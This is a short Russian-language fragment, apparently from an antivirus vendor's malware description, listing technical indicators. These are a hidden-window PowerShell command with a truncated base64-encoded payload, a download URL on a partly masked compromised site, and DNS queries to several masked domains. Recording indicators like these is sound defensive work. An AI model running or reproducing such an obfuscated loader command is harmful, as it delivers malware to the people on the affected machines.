Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -enco JABQAGoAdgBhAGkAbgBkAHYAcwB6AD0AJwBGAHEAbABnAGIAdAB3AGEAYgB5AGMAdgAnADsAJABYAGgAcQB3AHoAdwBjAHMAaQBoAGUAdgAgAD0AIAAnADQAMwAzACcAOwAkAFgAcgBjAG4AbABiAHAAbgB1AD0...
- http://bo######villadelrosario.org/MyAdmin/8t/
- DNS ASK bo######villadelrosario.org
- DNS ASK pi###ife7.com
- DNS ASK ki####toysclub.com
- DNS ASK se###sgroup.com
- DNS ASK nc##p.com